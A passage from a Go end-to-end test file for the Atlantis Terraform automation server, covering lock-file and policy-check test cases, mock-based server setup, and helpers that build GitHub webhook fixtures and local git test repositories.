userConfig userConfig = server.UserConfig{} ctrl, vcsClient, githubGetter, atlantisWorkspace := setupE2E(t, c.RepoDir, setupOption{}) // Set the repo to be cloned through the testing backdoor. repoDir, headSHA := initializeRepo(t, c.RepoDir) oldLockFilePath, err := filepath.Abs(filepath.Join("testdata", "null_provider_lockfile_old_version")) Ok(t, err) oldLockFileContent, err := os.ReadFile(oldLockFilePath) Ok(t, err) if c.LockFileTracked { runCmd(t, "", "cp", oldLockFilePath, fmt.Sprintf("%s/.terraform.lock.hcl", repoDir)) runCmd(t, repoDir, "git", "add", ".terraform.lock.hcl") runCmd(t, repoDir, "git", "commit", "-am", "stage .terraform.lock.hcl") // Update target sha since there's now an extra commit headSHA = strings.TrimSpace(runCmd(t, repoDir, "git", "rev-parse", "HEAD")) } atlantisWorkspace.TestingOverrideHeadCloneURL = fmt.Sprintf("file://%s", repoDir) // Setup test dependencies. w := httptest.NewRecorder() When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Any[models.Repo](), Any[int]())).ThenReturn(GitHubPullRequestParsed(headSHA), nil) When(vcsClient.GetModifiedFiles(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest]())).ThenReturn(c.ModifiedFiles, nil) // First, send the open pull request event which triggers autoplan. pullOpenedReq := GitHubPullRequestOpenedEvent(t, headSHA) ctrl.Post(w, pullOpenedReq) ResponseContains(t, w, 200, "Processing...") // check lock file content actualLockFileContent, err := os.ReadFile(fmt.Sprintf("%s/repos/runatlantis/atlantis-tests/2/default/.terraform.lock.hcl", atlantisWorkspace.DataDir)) Ok(t, err) if c.LockFileTracked { if string(oldLockFileContent) != string(actualLockFileContent) { t.Error("Expected terraform.lock.hcl file not to be different as it has been staged") t.FailNow() } } else { if string(oldLockFileContent) == string(actualLockFileContent) { t.Error("Expected terraform.lock.hcl file to be different as it should have been updated") t.FailNow() } } if !c.LockFileTracked { // replace the lock file generated by the previous init to simulate // dependencies needing updating in a latter plan runCmd(t, "", "cp", oldLockFilePath, fmt.Sprintf("%s/repos/runatlantis/atlantis-tests/2/default/.terraform.lock.hcl", atlantisWorkspace.DataDir)) } // Now send any other comments. for _, comment := range c.Comments { commentReq := GitHubCommentEvent(t, comment) w = httptest.NewRecorder() ctrl.Post(w, commentReq) ResponseContains(t, w, 200, "Processing...") } // check lock file content actualLockFileContent, err = os.ReadFile(fmt.Sprintf("%s/repos/runatlantis/atlantis-tests/2/default/.terraform.lock.hcl", atlantisWorkspace.DataDir)) Ok(t, err) if c.LockFileTracked { if string(oldLockFileContent) != string(actualLockFileContent) { t.Error("Expected terraform.lock.hcl file not to be different as it has been staged") t.FailNow() } } else { if string(oldLockFileContent) == string(actualLockFileContent) { t.Error("Expected terraform.lock.hcl file to be different as it should have been updated") t.FailNow() } } // Let's verify the pre-workflow hook was called for each comment including the pull request opened event mockPreWorkflowHookRunner.VerifyWasCalled(Times(2)).Run(Any[models.WorkflowHookCommandContext](), Eq("some dummy command"), Any[string](), Any[string](), Any[string]()) // Now we're ready to verify Atlantis made all the comments back (or // replies) that we expect. We expect each plan to have 1 comment, // and apply have 1 for each comment plus one for the locks deleted at the // end. _, _, _, actReplies, _ := vcsClient.VerifyWasCalled(Times(2)).CreateComment( Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()).GetAllCapturedArguments() Assert(t, len(c.ExpReplies) == len(actReplies), "missing expected replies, got %d but expected %d", len(actReplies), len(c.ExpReplies)) for i, expReply := range c.ExpReplies { assertCommentEquals(t, expReply, actReplies[i], c.RepoDir, false) } }) } } func TestGitHubWorkflowWithPolicyCheck(t *testing.T) { if testing.Short() { t.SkipNow() } // Ensure we have >= TF 0.14 locally. ensureRunning014(t) // Ensure we have conftest locally. ensureRunningConftest(t) cases := []struct { Description string // RepoDir is relative to testdata/test-repos. RepoDir string // ModifiedFiles are the list of files that have been modified in this // pull request. ModifiedFiles []string // Comments are what our mock user writes to the pull request. Comments []string // PolicyCheck is true if we expect Atlantis to run policy checking PolicyCheck bool // ExpAutomerge is true if we expect Atlantis to automerge. ExpAutomerge bool // ExpAutoplan is true if we expect Atlantis to autoplan. ExpAutoplan bool // ExpPolicyChecks is true if we expect Atlantis to execute policy checks ExpPolicyChecks bool // ExpQuietPolicyChecks is true if we expect Atlantis to exclude policy check output // when there's no error ExpQuietPolicyChecks bool // ExpQuietPolicyCheckFailure is true when we expect Atlantis to post back policy check failures // even when QuietPolicyChecks is enabled ExpQuietPolicyCheckFailure bool // ExpParallel is true if we expect Atlantis to run parallel plans or applies. ExpParallel bool // ExpReplies is a list of files containing the expected replies that // Atlantis writes to the pull request in order. A reply from a parallel operation // will be matched using a substring check. ExpReplies [][]string }{ { Description: "1 failing policy and 1 passing policy ", RepoDir: "policy-checks-multi-projects", ModifiedFiles: []string{"dir1/main.tf,", "dir2/main.tf"}, PolicyCheck: true, ExpAutoplan: true, ExpPolicyChecks: true, Comments: []string{ "atlantis apply", }, ExpReplies: [][]string{ {"exp-output-autoplan.txt"}, {"exp-output-auto-policy-check.txt"}, {"exp-output-apply.txt"}, {"exp-output-merge.txt"}, }, }, { Description: "1 failing policy and 1 passing policy with --quiet-policy-checks", RepoDir: "policy-checks-multi-projects", ModifiedFiles: []string{"dir1/main.tf,", "dir2/main.tf"}, PolicyCheck: true, ExpAutoplan: true, ExpPolicyChecks: true, ExpQuietPolicyChecks: true, ExpQuietPolicyCheckFailure: true, Comments: []string{ "atlantis apply", }, ExpReplies: [][]string{ {"exp-output-autoplan.txt"}, {"exp-output-auto-policy-check-quiet.txt"}, {"exp-output-apply.txt"}, {"exp-output-merge.txt"}, }, }, { Description: "failing policy without policies passing using extra args", RepoDir: "policy-checks-extra-args", ModifiedFiles: []string{"main.tf"}, PolicyCheck: true, ExpAutoplan: true, ExpPolicyChecks: true, Comments: []string{ "atlantis apply", }, ExpReplies: [][]string{ {"exp-output-autoplan.txt"}, {"exp-output-auto-policy-check.txt"}, {"exp-output-apply-failed.txt"}, {"exp-output-merge.txt"}, }, }, { Description: "failing policy without policies passing", RepoDir: "policy-checks", ModifiedFiles: []string{"main.tf"}, PolicyCheck: true, ExpAutoplan: true, ExpPolicyChecks: true, Comments: []string{ "atlantis apply", }, ExpReplies: [][]string{ {"exp-output-autoplan.txt"}, {"exp-output-auto-policy-check.txt"}, {"exp-output-apply-failed.txt"}, {"exp-output-merge.txt"}, }, }, { Description: "failing policy without policies passing and custom run steps", RepoDir: "policy-checks-custom-run-steps", ModifiedFiles: []string{"main.tf"}, PolicyCheck: true, ExpAutoplan: true, ExpPolicyChecks: true, Comments: []string{ "atlantis apply", }, ExpReplies: [][]string{ {"exp-output-autoplan.txt"}, {"exp-output-auto-policy-check.txt"}, {"exp-output-apply-failed.txt"}, {"exp-output-merge.txt"}, }, }, { Description: "failing policy additional apply requirements specified", RepoDir: "policy-checks-apply-reqs", ModifiedFiles: []string{"main.tf"}, PolicyCheck: true, ExpAutoplan: true, ExpPolicyChecks: true, Comments: []string{ "atlantis apply", }, ExpReplies: [][]string{ {"exp-output-autoplan.txt"}, {"exp-output-auto-policy-check.txt"}, {"exp-output-apply-failed.txt"}, {"exp-output-merge.txt"}, }, }, { Description: "failing policy approved by non owner", RepoDir: "policy-checks-diff-owner", ModifiedFiles: []string{"main.tf"}, PolicyCheck: true, ExpAutoplan: true, ExpPolicyChecks: true, Comments: []string{ "atlantis approve_policies", "atlantis apply", }, ExpReplies: [][]string{ {"exp-output-autoplan.txt"}, {"exp-output-auto-policy-check.txt"}, {"exp-output-approve-policies.txt"}, {"exp-output-apply-failed.txt"}, {"exp-output-merge.txt"}, }, }, { Description: "successful policy checks with quiet flag enabled", RepoDir: "policy-checks-success-silent", ModifiedFiles: []string{"main.tf"}, PolicyCheck: true, ExpAutoplan: true, ExpPolicyChecks: true, ExpQuietPolicyChecks: true, Comments: []string{ "atlantis apply", }, ExpReplies: [][]string{ {"exp-output-autoplan.txt"}, {"exp-output-apply.txt"}, {"exp-output-merge.txt"}, }, }, { Description: "failing policy checks with quiet flag enabled", RepoDir: "policy-checks", ModifiedFiles: []string{"main.tf"}, PolicyCheck: true, ExpAutoplan: true, ExpPolicyChecks: true, ExpQuietPolicyChecks: true, ExpQuietPolicyCheckFailure: true, Comments: []string{ "atlantis apply", }, ExpReplies: [][]string{ {"exp-output-autoplan.txt"}, {"exp-output-auto-policy-check.txt"}, {"exp-output-apply-failed.txt"}, {"exp-output-merge.txt"}, }, }, { Description: "failing policy with approval and policy approval clear", RepoDir: "policy-checks-clear-approval", ModifiedFiles: []string{"main.tf"}, PolicyCheck: true, ExpAutoplan: true, ExpPolicyChecks: true, Comments: []string{ "atlantis approve_policies", "atlantis approve_policies --clear-policy-approval", "atlantis apply", }, ExpReplies: [][]string{ {"exp-output-autoplan.txt"}, {"exp-output-auto-policy-check.txt"}, {"exp-output-approve-policies-success.txt"}, {"exp-output-approve-policies-clear.txt"}, {"exp-output-apply-failed.txt"}, {"exp-output-merge.txt"}, }, }, { Description: "policy checking disabled on specific repo", RepoDir: "policy-checks-disabled-repo", ModifiedFiles: []string{"main.tf"}, PolicyCheck: true, ExpAutoplan: true, ExpPolicyChecks: false, Comments: []string{ "atlantis apply", }, ExpReplies: [][]string{ {"exp-output-autoplan.txt"}, {"exp-output-apply.txt"}, {"exp-output-merge.txt"}, }, }, { Description: "policy checking disabled on specific repo server side", RepoDir: "policy-checks-disabled-repo-server-side", ModifiedFiles: []string{"main.tf"}, PolicyCheck: true, ExpAutoplan: true, ExpPolicyChecks: false, Comments: []string{ "atlantis apply", }, ExpReplies: [][]string{ {"exp-output-autoplan.txt"}, {"exp-output-apply.txt"}, {"exp-output-merge.txt"}, }, }, { Description: "policy checking enabled on specific repo but disabled globally", RepoDir: "policy-checks-enabled-repo", ModifiedFiles: []string{"main.tf"}, PolicyCheck: false, ExpAutoplan: true, ExpPolicyChecks: false, Comments: []string{ "atlantis apply", }, ExpReplies: [][]string{ {"exp-output-autoplan.txt"}, {"exp-output-apply.txt"}, {"exp-output-merge.txt"}, }, }, { Description: "policy checking enabled on specific repo server side but disabled globally", RepoDir: "policy-checks-enabled-repo-server-side", ModifiedFiles: []string{"main.tf"}, PolicyCheck: false, ExpAutoplan: true, ExpPolicyChecks: false, Comments: []string{ "atlantis apply", }, ExpReplies: [][]string{ {"exp-output-autoplan.txt"}, {"exp-output-apply.txt"}, {"exp-output-merge.txt"}, }, }, { Description: "policy checking disabled on previous regex match but not on repo", RepoDir: "policy-checks-disabled-previous-match", ModifiedFiles: []string{"main.tf"}, PolicyCheck: true, ExpAutoplan: true, ExpPolicyChecks: false, Comments: []string{ "atlantis apply", }, ExpReplies: [][]string{ {"exp-output-autoplan.txt"}, {"exp-output-apply.txt"}, {"exp-output-merge.txt"}, }, }, } for _, c := range cases { t.Run(c.Description, func(t *testing.T) { RegisterMockTestingT(t) // reset userConfig userConfig = server.UserConfig{} userConfig.EnablePolicyChecksFlag = c.PolicyCheck userConfig.QuietPolicyChecks = c.ExpQuietPolicyChecks ctrl, vcsClient, githubGetter, atlantisWorkspace := setupE2E(t, c.RepoDir, setupOption{userConfig: userConfig}) // Set the repo to be cloned through the testing backdoor. repoDir, headSHA := initializeRepo(t, c.RepoDir) atlantisWorkspace.TestingOverrideHeadCloneURL = fmt.Sprintf("file://%s", repoDir) // Setup test dependencies. w := httptest.NewRecorder() When(vcsClient.PullIsMergeable( Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Eq("atlantis-test"), Eq([]string{}))).ThenReturn(models.MergeableStatus{ IsMergeable: true, }, nil) When(vcsClient.PullIsApproved( Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest]())).ThenReturn(models.ApprovalStatus{ IsApproved: true, }, nil) When(githubGetter.GetPullRequest( Any[logging.SimpleLogging](), Any[models.Repo](), Any[int]())).ThenReturn(GitHubPullRequestParsed(headSHA), nil) When(vcsClient.GetModifiedFiles( Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest]())).ThenReturn(c.ModifiedFiles, nil) // First, send the open pull request event which triggers autoplan. pullOpenedReq := GitHubPullRequestOpenedEvent(t, headSHA) ctrl.Post(w, pullOpenedReq) ResponseContains(t, w, 200, "Processing...") // Now send any other comments. for _, comment := range c.Comments { commentReq := GitHubCommentEvent(t, comment) w = httptest.NewRecorder() ctrl.Post(w, commentReq) ResponseContains(t, w, 200, "Processing...") } // Send the "pull closed" event which would be triggered by the // automerge or a manual merge. pullClosedReq := GitHubPullRequestClosedEvent(t) w = httptest.NewRecorder() ctrl.Post(w, pullClosedReq) ResponseContains(t, w, 200, "Pull request cleaned successfully") // Now we're ready to verify Atlantis made all the comments back (or // replies) that we expect. We expect each plan to have 2 comments, // one for plan one for policy check and apply have 1 for each // comment plus one for the locks deleted at the end. expNumReplies := len(c.Comments) + 1 if c.ExpAutoplan { expNumReplies++ expNumReplies++ } var planRegex = regexp.MustCompile("plan") for _, comment := range c.Comments { if planRegex.MatchString(comment) { expNumReplies++ } } if c.ExpAutomerge { expNumReplies++ } if c.ExpQuietPolicyChecks && !c.ExpQuietPolicyCheckFailure { expNumReplies-- } if !c.ExpPolicyChecks { expNumReplies-- } _, _, _, actReplies, _ := vcsClient.VerifyWasCalled(Times(expNumReplies)).CreateComment( Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()).GetAllCapturedArguments() Assert(t, len(c.ExpReplies) == len(actReplies), "missing expected replies, got %d but expected %d", len(actReplies), len(c.ExpReplies)) for i, expReply := range c.ExpReplies { assertCommentEquals(t, expReply, actReplies[i], c.RepoDir, c.ExpParallel) } if c.ExpAutomerge { // Verify that the merge API call was made. vcsClient.VerifyWasCalledOnce().MergePull(Any[logging.SimpleLogging](), Any[models.PullRequest](), Any[models.PullRequestOptions]()) } else { vcsClient.VerifyWasCalled(Never()).MergePull(Any[logging.SimpleLogging](), Any[models.PullRequest](), Any[models.PullRequestOptions]()) } }) } } type setupOption struct { repoConfigFile string allowCommands []command.Name disableAutoplan bool disablePreWorkflowHooks bool userConfig server.UserConfig } func setupE2E(t *testing.T, repoDir string, opt setupOption) (events_controllers.VCSEventsController, *vcsmocks.MockClient, *mocks.MockGithubPullGetter, *events.FileWorkspace) { allowForkPRs := false discardApprovalOnPlan := true dataDir, binDir, cacheDir := mkSubDirs(t) // Mocks. e2eVCSClient := vcsmocks.NewMockClient() e2eStatusUpdater := &events.DefaultCommitStatusUpdater{Client: e2eVCSClient} e2eGithubGetter := mocks.NewMockGithubPullGetter() e2eGitlabGetter := mocks.NewMockGitlabMergeRequestGetter() projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() // Real dependencies. logging.SuppressDefaultLogging() logger := logging.NewNoopLogger(t) eventParser := &events.EventParser{ GithubUser: "github-user", GithubToken: "github-token", GitlabUser: "gitlab-user", GitlabToken: "gitlab-token", } allowCommands := command.AllCommentCommands if opt.allowCommands != nil { allowCommands = opt.allowCommands } disableApply := true disableGlobalApplyLock := false if slices.Contains(allowCommands, command.Apply) { disableApply = false } commentParser := &events.CommentParser{ GithubUser: "github-user", GitlabUser: "gitlab-user", ExecutableName: "atlantis", AllowCommands: allowCommands, } mockDownloader := terraform_mocks.NewMockDownloader() distribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader) terraformClient, err := tfclient.NewClient(logger, distribution, binDir, cacheDir, "", "", "", "default-tf-version", "https://releases.hashicorp.com", true, false, projectCmdOutputHandler) Ok(t, err) b, err := boltdb.New(dataDir) Ok(t, err) database := b lockingClient := locking.NewClient(b) noOpLocker := locking.NewNoOpLocker() applyLocker = locking.NewApplyClient(b, disableApply, disableGlobalApplyLock) projectLocker := &events.DefaultProjectLocker{ Locker: lockingClient, NoOpLocker: noOpLocker, VCSClient: e2eVCSClient, } workingDir := &events.FileWorkspace{ DataDir: dataDir, TestingOverrideHeadCloneURL: "override-me", } var preWorkflowHooks []*valid.WorkflowHook if !opt.disablePreWorkflowHooks { preWorkflowHooks = []*valid.WorkflowHook{ { StepName: "global_hook", RunCommand: "some dummy command", }, } } defaultTFDistribution := terraformClient.DefaultDistribution() defaultTFVersion := terraformClient.DefaultVersion() locker := events.NewDefaultWorkingDirLocker() parser := &config.ParserValidator{} globalCfgArgs := valid.GlobalCfgArgs{ RepoConfigFile: opt.repoConfigFile, AllowAllRepoSettings: true, PreWorkflowHooks: preWorkflowHooks, PostWorkflowHooks: []*valid.WorkflowHook{ { StepName: "global_hook", RunCommand: "some post dummy command", }, }, PolicyCheckEnabled: userConfig.EnablePolicyChecksFlag, } globalCfg := valid.NewGlobalCfgFromArgs(globalCfgArgs) expCfgPath := filepath.Join(absRepoPath(t, repoDir), "repos.yaml") if _, err := os.Stat(expCfgPath); err == nil { globalCfg, err = parser.ParseGlobalCfg(expCfgPath, globalCfg) Ok(t, err) } drainer := &events.Drainer{} parallelPoolSize := 1 silenceNoProjects := false disableUnlockLabel := "do-not-unlock" statusUpdater := runtimemocks.NewMockStatusUpdater() commitStatusUpdater := mocks.NewMockCommitStatusUpdater() asyncTfExec := runtimemocks.NewMockAsyncTFExec() mockPreWorkflowHookRunner = runtimemocks.NewMockPreWorkflowHookRunner() preWorkflowHookURLGenerator := mocks.NewMockPreWorkflowHookURLGenerator() preWorkflowHooksCommandRunner := &events.DefaultPreWorkflowHooksCommandRunner{ VCSClient: e2eVCSClient, GlobalCfg: globalCfg, WorkingDirLocker: locker, WorkingDir: workingDir, PreWorkflowHookRunner: mockPreWorkflowHookRunner, CommitStatusUpdater: commitStatusUpdater, Router: preWorkflowHookURLGenerator, } mockPostWorkflowHookRunner = runtimemocks.NewMockPostWorkflowHookRunner() postWorkflowHookURLGenerator := mocks.NewMockPostWorkflowHookURLGenerator() postWorkflowHooksCommandRunner := &events.DefaultPostWorkflowHooksCommandRunner{ VCSClient: e2eVCSClient, GlobalCfg: globalCfg, WorkingDirLocker: locker, WorkingDir: workingDir, PostWorkflowHookRunner: mockPostWorkflowHookRunner, CommitStatusUpdater: commitStatusUpdater, Router: postWorkflowHookURLGenerator, } statsScope := metricstest.NewLoggingScope(t, logger, "atlantis") projectCommandBuilder := events.NewProjectCommandBuilder( userConfig.EnablePolicyChecksFlag, parser, &events.DefaultProjectFinder{}, e2eVCSClient, workingDir, locker, globalCfg, &events.DefaultPendingPlanFinder{}, commentParser, false, false, false, false, false, "", "**/*.tf,**/*.tfvars,**/*.tfvars.json,**/terragrunt.hcl,**/.terraform.lock.hcl", false, false, false, "auto", statsScope, terraformClient, ) showStepRunner, err := runtime.NewShowStepRunner(terraformClient, defaultTFDistribution, defaultTFVersion) Ok(t, err) conftextExec := policy.NewConfTestExecutorWorkflow(logger, binDir, mock_policy.NewMockDownloader()) // swapping out version cache to something that always returns local conftest // binary conftextExec.VersionCache = &LocalConftestCache{} policyCheckRunner, err := runtime.NewPolicyCheckStepRunner( defaultTFDistribution, defaultTFVersion, conftextExec, ) Ok(t, err) cancellationTracker := events.NewCancellationTracker() projectCommandRunner := &events.DefaultProjectCommandRunner{ VcsClient: e2eVCSClient, Locker: projectLocker, LockURLGenerator: &mockLockURLGenerator{}, InitStepRunner: &runtime.InitStepRunner{ TerraformExecutor: terraformClient, DefaultTFDistribution: defaultTFDistribution, DefaultTFVersion: defaultTFVersion, }, PlanStepRunner: runtime.NewPlanStepRunner( terraformClient, defaultTFDistribution, defaultTFVersion, statusUpdater, asyncTfExec, ), ShowStepRunner: showStepRunner, PolicyCheckStepRunner: policyCheckRunner, ApplyStepRunner: &runtime.ApplyStepRunner{ TerraformExecutor: terraformClient, }, ImportStepRunner: runtime.NewImportStepRunner(terraformClient, defaultTFDistribution, defaultTFVersion), StateRmStepRunner: runtime.NewStateRmStepRunner(terraformClient, defaultTFDistribution, defaultTFVersion), RunStepRunner: &runtime.RunStepRunner{ TerraformExecutor: terraformClient, DefaultTFDistribution: defaultTFDistribution, DefaultTFVersion: defaultTFVersion, ProjectCmdOutputHandler: projectCmdOutputHandler, }, WorkingDir: workingDir, Webhooks: &mockWebhookSender{}, WorkingDirLocker: locker, CommandRequirementHandler: &events.DefaultCommandRequirementHandler{ WorkingDir: workingDir, }, CancellationTracker: cancellationTracker, } dbUpdater := &events.DBUpdater{ Database: database, } pullUpdater := &events.PullUpdater{ HidePrevPlanComments: false, VCSClient: e2eVCSClient, MarkdownRenderer: events.NewMarkdownRenderer( false, // gitlabSupportsCommonMark false, // disableApplyAll false, // disableApply false, // disableMarkdownFolding false, // disableRepoLocking false, // enableDiffMarkdownFormat "", // markdownTemplateOverridesDir "atlantis", // executableName false, // hideUnchangedPlanComments opt.userConfig.QuietPolicyChecks, // quietPolicyChecks ), } autoMerger := &events.AutoMerger{ VCSClient: e2eVCSClient, GlobalAutomerge: false, } policyCheckCommandRunner := events.NewPolicyCheckCommandRunner( dbUpdater, pullUpdater, e2eStatusUpdater, projectCommandRunner, parallelPoolSize, false, userConfig.QuietPolicyChecks, ) e2ePullReqStatusFetcher := vcs.NewPullReqStatusFetcher(e2eVCSClient, "atlantis-test", []string{}) planCommandRunner := events.NewPlanCommandRunner( false, false, e2eVCSClient, &events.DefaultPendingPlanFinder{}, workingDir, e2eStatusUpdater, projectCommandBuilder, projectCommandRunner, cancellationTracker, dbUpdater, pullUpdater, policyCheckCommandRunner, autoMerger, parallelPoolSize, silenceNoProjects, database, lockingClient, discardApprovalOnPlan, e2ePullReqStatusFetcher, false, ) applyCommandRunner := events.NewApplyCommandRunner( e2eVCSClient, false, applyLocker, e2eStatusUpdater, projectCommandBuilder, projectCommandRunner, cancellationTracker, autoMerger, pullUpdater, dbUpdater, database, parallelPoolSize, silenceNoProjects, false, e2ePullReqStatusFetcher, ) approvePoliciesCommandRunner := events.NewApprovePoliciesCommandRunner( e2eStatusUpdater, projectCommandBuilder, projectCommandRunner, pullUpdater, dbUpdater, silenceNoProjects, false, e2eVCSClient, ) unlockCommandRunner := events.NewUnlockCommandRunner( mocks.NewMockDeleteLockCommand(), e2eVCSClient, silenceNoProjects, disableUnlockLabel, ) versionCommandRunner := events.NewVersionCommandRunner( pullUpdater, projectCommandBuilder, projectCommandRunner, parallelPoolSize, silenceNoProjects, ) importCommandRunner := events.NewImportCommandRunner( pullUpdater, e2ePullReqStatusFetcher, projectCommandBuilder, projectCommandRunner, silenceNoProjects, ) stateCommandRunner := events.NewStateCommandRunner( pullUpdater, projectCommandBuilder, projectCommandRunner, ) commentCommandRunnerByCmd := map[command.Name]events.CommentCommandRunner{ command.Plan: planCommandRunner, command.Apply: applyCommandRunner, command.ApprovePolicies: approvePoliciesCommandRunner, command.Unlock: unlockCommandRunner, command.Version: versionCommandRunner, command.Import: importCommandRunner, command.State: stateCommandRunner, } commandRunner := &events.DefaultCommandRunner{ EventParser: eventParser, VCSClient: e2eVCSClient, GithubPullGetter: e2eGithubGetter, GitlabMergeRequestGetter: e2eGitlabGetter, Logger: logger, GlobalCfg: globalCfg, StatsScope: statsScope, AllowForkPRs: allowForkPRs, AllowForkPRsFlag: "allow-fork-prs", CommentCommandRunnerByCmd: commentCommandRunnerByCmd, Drainer: drainer, PreWorkflowHooksCommandRunner: preWorkflowHooksCommandRunner, PostWorkflowHooksCommandRunner: postWorkflowHooksCommandRunner, PullStatusFetcher: database, DisableAutoplan: opt.disableAutoplan, CommitStatusUpdater: commitStatusUpdater, } repoAllowlistChecker, err := events.NewRepoAllowlistChecker("*") Ok(t, err) ctrl := events_controllers.VCSEventsController{ TestingMode: true, CommandRunner: commandRunner, PullCleaner: &events.PullClosedExecutor{ Locker: lockingClient, VCSClient: e2eVCSClient, WorkingDir: workingDir, Database: database, PullClosedTemplate: &events.PullClosedEventTemplate{}, LogStreamResourceCleaner: projectCmdOutputHandler, }, Logger: logger, Scope: statsScope, Parser: eventParser, CommentParser: commentParser, GithubWebhookSecret: nil, GithubRequestValidator: &events_controllers.DefaultGithubRequestValidator{}, GitlabRequestParserValidator: &events_controllers.DefaultGitlabRequestParserValidator{}, GitlabWebhookSecret: nil, RepoAllowlistChecker: repoAllowlistChecker, SupportedVCSHosts: []models.VCSHostType{models.Gitlab, models.Github, models.BitbucketCloud}, VCSClient: e2eVCSClient, } return ctrl, e2eVCSClient, e2eGithubGetter, workingDir } type mockLockURLGenerator struct{} func (m *mockLockURLGenerator) GenerateLockURL(_ string) string { return "lock-url" } type mockWebhookSender struct{} func (w *mockWebhookSender) Send(_ logging.SimpleLogging, _ webhooks.ApplyResult) error { return nil } func GitHubCommentEvent(t *testing.T, comment string) *http.Request { requestJSON, err := os.ReadFile(filepath.Join("testdata", "githubIssueCommentEvent.json")) Ok(t, err) escapedComment, err := json.Marshal(comment) Ok(t, err) requestJSON = []byte(strings.Replace(string(requestJSON), "\"###comment body###\"", string(escapedComment), 1)) req, err := http.NewRequest("POST", "/events", bytes.NewBuffer(requestJSON)) Ok(t, err) req.Header.Set("Content-Type", "application/json") req.Header.Set(githubHeader, "issue_comment") return req } func GitHubPullRequestOpenedEvent(t *testing.T, headSHA string) *http.Request { requestJSON, err := os.ReadFile(filepath.Join("testdata", "githubPullRequestOpenedEvent.json")) Ok(t, err) // Replace sha with expected sha. requestJSONStr := strings.ReplaceAll(string(requestJSON), "c31fd9ea6f557ad2ea659944c3844a059b83bc5d", headSHA) req, err := http.NewRequest("POST", "/events", bytes.NewBuffer([]byte(requestJSONStr))) Ok(t, err) req.Header.Set("Content-Type", "application/json") req.Header.Set(githubHeader, "pull_request") return req } func GitHubPullRequestClosedEvent(t *testing.T) *http.Request { requestJSON, err := os.ReadFile(filepath.Join("testdata", "githubPullRequestClosedEvent.json")) Ok(t, err) req, err := http.NewRequest("POST", "/events", bytes.NewBuffer(requestJSON)) Ok(t, err) req.Header.Set("Content-Type", "application/json") req.Header.Set(githubHeader, "pull_request") return req } func GitHubPullRequestParsed(headSHA string) *github.PullRequest { // headSHA can't be empty so default if not set. if headSHA == "" { headSHA = "13940d121be73f656e2132c6d7b4c8e87878ac8d" } return &github.PullRequest{ Number: github.Ptr(2), State: github.Ptr("open"), HTMLURL: github.Ptr("htmlurl"), Head: &github.PullRequestBranch{ Repo: &github.Repository{ FullName: github.Ptr("runatlantis/atlantis-tests"), CloneURL: github.Ptr("https://github.com/runatlantis/atlantis-tests.git"), }, SHA: github.Ptr(headSHA), Ref: github.Ptr("branch"), }, Base: &github.PullRequestBranch{ Repo: &github.Repository{ FullName: github.Ptr("runatlantis/atlantis-tests"), CloneURL: github.Ptr("https://github.com/runatlantis/atlantis-tests.git"), }, Ref: github.Ptr("main"), }, User: &github.User{ Login: github.Ptr("atlantisbot"), }, } } // absRepoPath returns the absolute path to the test repo under dir repoDir. func absRepoPath(t *testing.T, repoDir string) string { path, err := filepath.Abs(filepath.Join("testdata", "test-repos", repoDir)) Ok(t, err) return path } // initializeRepo copies the repo data from testdata and initializes a new // git repo in a temp directory. It returns that directory and a function // to run in a defer that will delete the dir. // The purpose of this function is to create a real git repository with a branch // called 'branch' from the files under repoDir. This is so we can check in // those files normally to this repo without needing a .git directory. func initializeRepo(t *testing.T, repoDir string) (string, string) { originRepo := absRepoPath(t, repoDir) // Copy the files to the temp dir. destDir := t.TempDir() runCmd(t, "", "cp", "-r", fmt.Sprintf("%s/.", originRepo), destDir) // Initialize the git repo. runCmd(t, destDir, "git", "init") runCmd(t, destDir, "touch", ".gitkeep") runCmd(t, destDir, "git", "add", ".gitkeep") runCmd(t, destDir, "git", "config", "--local", "user.email", "atlantisbot@runatlantis.io") runCmd(t, destDir, "git", "config", "--local", "user.name", "atlantisbot") runCmd(t, destDir, "git", "commit", "-m", "initial commit") runCmd(t, destDir, "git", "checkout", "-b", "branch") runCmd(t, destDir, "git", "add", ".") runCmd(t, destDir, "git", "commit", "-am", "branch commit") headSHA := runCmd(t, destDir, "git", "rev-parse", "HEAD") headSHA = strings.Trim(headSHA, "\n") return destDir, headSHA } func runCmd(t *testing.T, dir string, name string, args ...string) string { cpCmd := exec.Command(name, args...) cpCmd.Dir = dir cpOut, err := cpCmd.CombinedOutput() Assert(t, err == nil, "err running %q: %s", strings.Join(append([]string{name}, args...), " "), cpOut) return string(cpOut) } func assertCommentEquals(t *testing.T, expReplies []string, act string, repoDir string, parallel bool) { t.Helper() // Replace all 'Creation complete after 0s [id=2135833172528078362]' strings with // 'Creation complete after *s [id=*******************]' so we can do a comparison. idRegex := regexp.MustCompile(`Creation complete after [0-9]+s \[id=[0-9]+]`) act = idRegex.ReplaceAllString(act, "Creation complete after *s [id=*******************]") // Replace all null_resource.simple{n}: .* with null_resource.simple: because // with multiple resources being created the logs are all out of order which // makes comparison impossible. resourceRegex := regexp.MustCompile(`null_resource\.simple(\[\d])?\d?:.*`) act = resourceRegex.ReplaceAllString(act, "null_resource.simple:") // For parallel plans and applies, do a substring match since output may be out of order var replyMatchesExpected func(string, string) bool if parallel { replyMatchesExpected = func(act string, expStr string) bool { return strings.Contains(act, expStr) } } else { replyMatchesExpected = func(act string, expStr string) bool { return expStr == act } } for _, expFile := range expReplies { exp, err := os.ReadFile(filepath.Join(absRepoPath(t, repoDir), expFile)) Ok(t, err) expStr := string(exp) // My editor adds a newline to all the files, so if the actual comment // doesn't end with a newline then strip the last newline from the file's // contents. if !strings.HasSuffix(act, "\n") { expStr = strings.TrimSuffix(expStr, "\n") } if !replyMatchesExpected(act, expStr) { // If in CI, we write the diff to the console. Otherwise we write the diff // to file so we can use our local diff viewer. if os.Getenv("CI") == "true" { t.Logf("exp: %s, got: %s", expStr, act) t.FailNow() } else { actFile := filepath.Join(absRepoPath(t, repoDir), expFile+".act") err := os.WriteFile(actFile, []byte(act), 0600) Ok(t, err) cwd, err := os.Getwd() Ok(t, err) rel, err := filepath.Rel(cwd, actFile) Ok(t, 